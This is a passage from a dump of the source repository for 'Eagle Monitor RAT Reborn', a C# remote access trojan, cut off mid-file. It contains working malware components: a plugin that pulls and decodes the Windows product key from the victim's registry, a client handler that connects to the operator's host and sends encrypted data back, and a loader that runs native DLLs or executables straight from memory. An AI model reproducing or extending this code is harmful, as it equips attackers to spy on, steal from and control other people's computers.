    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Hardware.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Debug\\Hardware.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Debug\\Hardware.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Debug\\Hardware.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Debug\\Hardware.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Hardware.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Debug\\Hardware.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Debug\\Hardware.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Debug\\Hardware.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Debug\\Hardware.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Debug/Hardware.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.CoreCompileInputs.cache",
    "content": "e50addab1c0056b719f76fdf96042bd8bcdef1d9\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Hardware.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Release\\Hardware.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Hardware.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Hardware\\obj\\Release\\Hardware.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.dll\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Hardware.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Hardware.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Hardware.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Hardware.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.Fody.CopyLocal.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Hardware.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.csproj.Fody.CopyLocal.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Hardware\\obj\\Release\\Hardware.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Release/Hardware.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Hardware/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net45\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net45\" developmentDependency=\"true\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/ActivationKey.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\nnamespace Plugin\n{\n    internal class ActivationKey\n    {\n\t\tinternal static string DecodeProductKeyWin8AndUp(byte[] digitalProductId)\n\t\t{\n\t\t\tstring text = string.Empty;\n\t\t\tbyte b = (byte)(((int)digitalProductId[66] / (int)6) & (int)1);\n\n\t\t\tdigitalProductId[66] = (byte)(((int)digitalProductId[66] & (int)247) | (((int)b & (int)2) * (int)4));\n\n\t\t\tint num = 0;\n\t\t\tfor (int i = 24; i >= 0; i--)\n\t\t\t{\n\t\t\t\tint num2 = 0;\n\t\t\t\tfor (int j = 14; j >= 0; j--)\n\t\t\t\t{\n\t\t\t\t\tnum2 *= 256;\n\t\t\t\t\tnum2 = (int)digitalProductId[j + 52] + num2;\n\t\t\t\t\tdigitalProductId[j + 52] = (byte)(num2 / 24);\n\t\t\t\t\tnum2 %= 24;\n\t\t\t\t\tnum = num2;\n\t\t\t\t}\n\t\t\t\ttext = \"BCDFGHJKMPQRTVWXY2346789\"[num2] + text;\n\t\t\t}\n\t\t\tstring str = text.Substring(1, num);\n\t\t\tstring str2 = text.Substring(num + 1, text.Length - (num + 1));\n\t\t\ttext = str + \"N\" + str2;\n\t\t\tfor (int k = 5; k < text.Length; k += 6)\n\t\t\t{\n\t\t\t\ttext = text.Insert(k, \"-\");\n\t\t\t}\n\t\t\treturn text;\n\t\t}\n\n\t\t// Token: 0x0600002C RID: 44 RVA: 0x00003660 File Offset: 0x00001860\n\t\tprivate static string DecodeProductKey(byte[] digitalProductId)\n\t\t{\n\t\t\tchar[] array = new char[]\n\t\t\t{\n\t\t\t'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P',\n\t\t\t'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4',\n\t\t\t'6', '7', '8', '9'\n\t\t\t};\n\t\t\tchar[] array2 = new char[29];\n\t\t\tArrayList arrayList = new ArrayList();\n\t\t\tfor (int i = 52; i <= 67; i++)\n\t\t\t{\n\t\t\t\tarrayList.Add(digitalProductId[i]);\n\t\t\t}\n\t\t\tfor (int j = 28; j >= 0; j--)\n\t\t\t{\n\t\t\t\tif ((j + 1) % 6 == 0)\n\t\t\t\t{\n\t\t\t\t\tarray2[j] = '-';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tint num = 0;\n\t\t\t\t\tfor (int k = 14; k >= 0; k--)\n\t\t\t\t\t{\n\t\t\t\t\t\tint num2 = (num << 8) | (int)((byte)arrayList[k]);\n\t\t\t\t\t\tarrayList[k] = (byte)(num2 / 24);\n\t\t\t\t\t\tnum = num2 % 24;\n\t\t\t\t\t\tarray2[j] = array[num];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn new string(array2);\n\t\t}\n\n\t\t// Token: 0x0600002D RID: 45 RVA: 0x0000371C File Offset: 0x0000191C\n\t\tprivate static string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, ActivationKey.DigitalProductIdVersion digitalProductIdVersion)\n\t\t{\n\t\t\tif (digitalProductIdVersion == ActivationKey.DigitalProductIdVersion.Windows8AndUp)\n\t\t\t{\n\t\t\t\treturn ActivationKey.DecodeProductKeyWin8AndUp(digitalProductId);\n\t\t\t}\n\t\t\treturn ActivationKey.DecodeProductKey(digitalProductId);\n\t\t}\n\n\t\t// Token: 0x0600002E RID: 46 RVA: 0x00003744 File Offset: 0x00001944\n\t\tpublic static string GetWindowsProductKeyFromRegistry()\n\t\t{\n            try\n            {\n\t\t\t\tRegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);\n\t\t\t\tobject value = registryKey.OpenSubKey(\"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\").GetValue(\"DigitalProductId\");\n\t\t\t\tif (value == null)\n\t\t\t\t{\n\t\t\t\t\treturn \"Failed to get DigitalProductId from registry\";\n\t\t\t\t}\n\t\t\t\tbyte[] digitalProductId = (byte[])value;\n\t\t\t\tregistryKey.Close();\n\t\t\t\tbool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6;\n\t\t\t\t//Counter.ProductKey = true;\n\t\t\t\treturn ActivationKey.GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? ActivationKey.DigitalProductIdVersion.Windows8AndUp : ActivationKey.DigitalProductIdVersion.UpToWindows7);\n\n\t\t\t}\n\t\t\tcatch {}\n\t\t\treturn null;\n\t\t}\n\n\t\t// Token: 0x02000005 RID: 5\n\t\tinternal enum DigitalProductIdVersion\n\t\t{\n\t\t\t// Token: 0x0400002D RID: 45\n\t\t\tUpToWindows7,\n\t\t\t// Token: 0x0400002E RID: 46\n\t\t\tWindows8AndUp\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n\n        public ClientHandler(Host host, string key) : base()\n        {\n            this.host = host;\n            this.key = key;\n            sendDataAsync = new SendDataAsync(SendData);\n        }\n\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (!Connected)\n            {\n                ConnectStart();\n            }\n        }\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private int SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n                }\n\n                catch (Exception)\n                {\n                    Connected = false;\n                    return 0;\n                }\n            }\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            int length = sendDataAsync.EndInvoke(ar);\n\n            if (Connected)\n            {\n                if (length != 0)//TODO : LOGS\n                {\n                    //MessageBox.Show(\"Data sent ! + length = \" + length.ToString());\n                }\n                else \n                {\n                    //MessageBox.Show(\"Error while sending data + length =\" + length.ToString());\n                }\n\n            }\n            this.Dispose();\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/DLLFromMemory.cs",
    "content": "﻿/*\n * Original Author : https://github.com/schellingb/DLLFromMemory-net \n * \n * DLLFromMemory.Net\n *\n * Load a native DLL from memory without the need to allow unsafe code\n *\n * Copyright (C) 2018 - 2019 by Bernhard Schelling\n *\n * Based on Memory Module.net 0.2\n * Copyright (C) 2012 - 2018 by Andreas Kanzler (andi_kanzler(at)gmx.de)\n * https://github.com/Scavanger/MemoryModule.net\n *\n * Based on Memory DLL loading code Version 0.0.4\n * Copyright (C) 2004 - 2015 by Joachim Bauch (mail(at)joachim-bauch.de)\n * https://github.com/fancycode/MemoryModule\n *\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 2.0 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http://www.mozilla.org/MPL/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is MemoryModule.c\n *\n * The Initial Developer of the Original Code is Joachim Bauch.\n *\n * Portions created by Joachim Bauch are Copyright (C) 2004 - 2015\n * Joachim Bauch. All Rights Reserved.\n *\n * Portions created by Andreas Kanzler are Copyright (C) 2012 - 2018\n * Andreas Kanzler. All Rights Reserved.\n *\n * Portions created by Bernhard Schelling are Copyright (C) 2018 - 2019\n * Bernhard Schelling. All Rights Reserved.\n *\n */\n\nusing System;\nusing System.Runtime.InteropServices;\n\npublic class DLLFromMemory : IDisposable\n{\n    public class DllException : Exception\n    {\n        public DllException() : base() { }\n        public DllException(string message) : base(message) { }\n        public DllException(string message, Exception innerException) : base(message, innerException) { }\n    }\n\n    public bool Disposed { get; private set; }\n    public bool IsDll { get; private set; }\n\n    IntPtr pCode = IntPtr.Zero;\n    IntPtr pNTHeaders = IntPtr.Zero;\n    IntPtr[] ImportModules;\n    bool _initialized = false;\n    DllEntryDelegate _dllEntry = null;\n    ExeEntryDelegate _exeEntry = null;\n    bool _isRelocated = false;\n\n    [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n    delegate bool DllEntryDelegate(IntPtr hinstDLL, DllReason fdwReason, IntPtr lpReserved);\n\n    [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n    delegate int ExeEntryDelegate();\n\n    [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n    delegate void ImageTlsDelegate(IntPtr dllHandle, DllReason reason, IntPtr reserved);\n\n    /// <summary>\n    /// Loads a unmanged (native) DLL in the memory.\n    /// </summary>\n    /// <param name=\"data\">Dll as a byte array</param>\n    public DLLFromMemory(byte[] data)\n    {\n        Disposed = false;\n        if (data == null) throw new ArgumentNullException(\"data\");\n        MemoryLoadLibrary(data);\n    }\n\n    ~DLLFromMemory()\n    {\n        Dispose();\n    }\n\n    /// <summary>\n    /// Returns a delegate for a function inside the DLL.\n    /// </summary>\n    /// <typeparam name=\"TDelegate\">The type of the delegate.</typeparam>\n    /// <param name=\"funcName\">The name of the function to be searched.</param>\n    /// <returns>A delegate instance of type TDelegate</returns>\n    public TDelegate GetDelegateFromFuncName<TDelegate>(string funcName) where TDelegate : class\n    {\n        if (!typeof(Delegate).IsAssignableFrom(typeof(TDelegate))) throw new ArgumentException(typeof(TDelegate).Name + \" is not a delegate\");\n        TDelegate res = Marshal.GetDelegateForFunctionPointer((IntPtr)GetPtrFromFuncName(funcName), typeof(TDelegate)) as TDelegate;\n        if (res == null) throw new DllException(\"Unable to get managed delegate\");\n        return res;\n    }\n\n    /// <summary>\n    /// Returns a delegate for a function inside the DLL.\n    /// </summary>\n    /// <param name=\"funcName\">The Name of the function to be searched.</param>\n    /// <param name=\"delegateType\">The type of the delegate to be returned.</param>\n    /// <returns>A delegate instance that can be cast to the appropriate delegate type.</returns>\n    public Delegate GetDelegateFromFuncName(string funcName, Type delegateType)\n    {\n        if (delegateType == null) throw new ArgumentNullException(\"delegateType\");\n        if (!typeof(Delegate).IsAssignableFrom(delegateType)) throw new ArgumentException(delegateType.Name + \" is not a delegate\");\n        Delegate res = Marshal.GetDelegateForFunctionPointer(GetPtrFromFuncName(funcName), delegateType);\n        if (res == null) throw new DllException(\"Unable to get managed delegate\");\n        return res;\n    }\n\n    IntPtr GetPtrFromFuncName(string funcName)\n    {\n        if (Disposed) throw new ObjectDisposedException(\"DLLFromMemory\");\n        if (string.IsNullOrEmpty(funcName)) throw new ArgumentException(\"funcName\");\n        if (!IsDll) throw new InvalidOperationException(\"Loaded Module is not a DLL\");\n        if (!_initialized) throw new InvalidOperationException(\"Dll is not initialized\");\n\n        IntPtr pDirectory = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ExportTable : Of32.IMAGE_OPTIONAL_HEADER_ExportTable));\n        IMAGE_DATA_DIRECTORY Directory = PtrRead<IMAGE_DATA_DIRECTORY>(pDirectory);\n        if (Directory.Size == 0) throw new DllException(\"Dll has no export table\");\n\n        IntPtr pExports = PtrAdd(pCode, Directory.VirtualAddress);\n        IMAGE_EXPORT_DIRECTORY Exports = PtrRead<IMAGE_EXPORT_DIRECTORY>(pExports);\n        if (Exports.NumberOfFunctions == 0 || Exports.NumberOfNames == 0) throw new DllException(\"Dll exports no functions\");\n\n        IntPtr pNameRef = PtrAdd(pCode, Exports.AddressOfNames);\n        IntPtr pOrdinal = PtrAdd(pCode, Exports.AddressOfNameOrdinals);\n        for (int i = 0; i < Exports.NumberOfNames; i++, pNameRef = PtrAdd(pNameRef, sizeof(uint)), pOrdinal = PtrAdd(pOrdinal, sizeof(ushort)))\n        {\n            uint NameRef = PtrRead<uint>(pNameRef);\n            ushort Ordinal = PtrRead<ushort>(pOrdinal);\n            string curFuncName = Marshal.PtrToStringAnsi(PtrAdd(pCode, NameRef));\n            if (curFuncName == funcName)\n            {\n                if (Ordinal > Exports.NumberOfFunctions) throw new DllException(\"Invalid function ordinal\");\n                IntPtr pAddressOfFunction = PtrAdd(pCode, (Exports.AddressOfFunctions + (uint)(Ordinal * 4)));\n                return PtrAdd(pCode, PtrRead<uint>(pAddressOfFunction));\n            }\n        }\n\n        throw new DllException(\"Dll exports no function named \" + funcName);\n    }\n\n    /// <summary>\n    /// Call entry point of executable.\n    /// </summary>\n    /// <returns>Exitcode of executable</returns>\n    public int MemoryCallEntryPoint()\n    {\n        if (Disposed) throw new ObjectDisposedException(\"DLLFromMemory\");\n        if (IsDll || _exeEntry == null || !_isRelocated) throw new DllException(\"Unable to call entry point. Is loaded module a dll?\");\n        return _exeEntry();\n    }\n\n    void MemoryLoadLibrary(byte[] data)\n    {\n        if (data.Length < Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))) throw new DllException(\"Not a valid executable file\");\n        IMAGE_DOS_HEADER DosHeader = BytesReadStructAt<IMAGE_DOS_HEADER>(data, 0);\n        if (DosHeader.e_magic != Win.IMAGE_DOS_SIGNATURE) throw new BadImageFormatException(\"Not a valid executable file\");\n\n        if (data.Length < DosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS))) throw new DllException(\"Not a valid executable file\");\n        IMAGE_NT_HEADERS OrgNTHeaders = BytesReadStructAt<IMAGE_NT_HEADERS>(data, DosHeader.e_lfanew);\n\n        if (OrgNTHeaders.Signature != Win.IMAGE_NT_SIGNATURE) throw new BadImageFormatException(\"Not a valid PE file\");\n        if (OrgNTHeaders.FileHeader.Machine != GetMachineType()) throw new BadImageFormatException(\"Machine type doesn't fit (i386 vs. AMD64)\");\n        if ((OrgNTHeaders.OptionalHeader.SectionAlignment & 1) > 0) throw new BadImageFormatException(\"Wrong section alignment\"); //Only support multiple of 2\n        if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint == 0) throw new DllException(\"Module has no entry point\");\n\n        SYSTEM_INFO systemInfo;\n        Win.GetNativeSystemInfo(out systemInfo);\n        uint lastSectionEnd = 0;\n        int ofSection = Win.IMAGE_FIRST_SECTION(DosHeader.e_lfanew, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);\n        for (int i = 0; i != OrgNTHeaders.FileHeader.NumberOfSections; i++, ofSection += Sz.IMAGE_SECTION_HEADER)\n        {\n            IMAGE_SECTION_HEADER Section = BytesReadStructAt<IMAGE_SECTION_HEADER>(data, ofSection);\n            uint endOfSection = Section.VirtualAddress + (Section.SizeOfRawData > 0 ? Section.SizeOfRawData : OrgNTHeaders.OptionalHeader.SectionAlignment);\n            if (endOfSection > lastSectionEnd) lastSectionEnd = endOfSection;\n        }\n\n        uint alignedImageSize = AlignValueUp(OrgNTHeaders.OptionalHeader.SizeOfImage, systemInfo.dwPageSize);\n        uint alignedLastSection = AlignValueUp(lastSectionEnd, systemInfo.dwPageSize);\n        if (alignedImageSize != alignedLastSection) throw new BadImageFormatException(\"Wrong section alignment\");\n\n        IntPtr oldHeader_OptionalHeader_ImageBase;\n        if (Is64BitProcess) oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((long)(OrgNTHeaders.OptionalHeader.ImageBaseLong));\n        else oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((int)(OrgNTHeaders.OptionalHeader.ImageBaseLong >> 32));\n\n        // reserve memory for image of library\n        pCode = Win.VirtualAlloc(oldHeader_OptionalHeader_ImageBase, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);\n        //pCode = IntPtr.Zero; //test relocation with this\n\n        // try to allocate memory at arbitrary position\n        if (pCode == IntPtr.Zero) pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);\n\n        if (pCode == IntPtr.Zero) throw new DllException(\"Out of Memory\");\n\n        if (Is64BitProcess && PtrSpanBoundary(pCode, alignedImageSize, 32))\n        {\n            // Memory block may not span 4 GB (32 bit) boundaries.\n            System.Collections.Generic.List<IntPtr> BlockedMemory = new System.Collections.Generic.List<IntPtr>();\n            while (PtrSpanBoundary(pCode, alignedImageSize, 32))\n            {\n                BlockedMemory.Add(pCode);\n                pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)alignedImageSize, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);\n                if (pCode == IntPtr.Zero) break;\n            }\n            foreach (IntPtr ptr in BlockedMemory) Win.VirtualFree(ptr, IntPtr.Zero, AllocationType.RELEASE);\n            if (pCode == IntPtr.Zero) throw new DllException(\"Out of Memory\");\n        }\n\n        // commit memory for headers\n        IntPtr headers = Win.VirtualAlloc(pCode, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfHeaders, AllocationType.COMMIT, MemoryProtection.READWRITE);\n        if (headers == IntPtr.Zero) throw new DllException(\"Out of Memory\");\n\n        // copy PE header to code\n        Marshal.Copy(data, 0, headers, (int)(OrgNTHeaders.OptionalHeader.SizeOfHeaders));\n        pNTHeaders = PtrAdd(headers, DosHeader.e_lfanew);\n\n        IntPtr locationDelta = PtrSub(pCode, oldHeader_OptionalHeader_ImageBase);\n        if (locationDelta != IntPtr.Zero)\n        {\n            // update relocated position\n            Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), \"OptionalHeader\");\n            Marshal.OffsetOf(typeof(IMAGE_OPTIONAL_HEADER), \"ImageBaseLong\");\n            IntPtr pImageBase = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ImageBase : Of32.IMAGE_OPTIONAL_HEADER_ImageBase));\n            PtrWrite(pImageBase, pCode);\n        }\n\n        // copy sections from DLL file block to new memory location\n        CopySections(ref OrgNTHeaders, pCode, pNTHeaders, data);\n\n        // adjust base address of imported data\n        _isRelocated = (locationDelta != IntPtr.Zero ? PerformBaseRelocation(ref OrgNTHeaders, pCode, locationDelta) : true);\n\n        // load required dlls and adjust function table of imports\n        ImportModules = BuildImportTable(ref OrgNTHeaders, pCode);\n\n        // mark memory pages depending on section headers and release\n        // sections that are marked as \"discardable\"\n        FinalizeSections(ref OrgNTHeaders, pCode, pNTHeaders, systemInfo.dwPageSize);\n\n        // TLS callbacks are executed BEFORE the main loading\n        ExecuteTLS(ref OrgNTHeaders, pCode, pNTHeaders);\n\n        // get entry point of loaded library\n        IsDll = ((OrgNTHeaders.FileHeader.Characteristics & Win.IMAGE_FILE_DLL) != 0);\n        if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint != 0)\n        {\n            if (IsDll)\n            {\n                // notify library about attaching to process\n                IntPtr dllEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint);\n                _dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(dllEntryPtr, typeof(DllEntryDelegate));\n\n                _initialized = (_dllEntry != null && _dllEntry(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero));\n                if (!_initialized) throw new DllException(\"Can't attach DLL to process\");\n            }\n            else\n            {\n                IntPtr exeEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint);\n                _exeEntry = 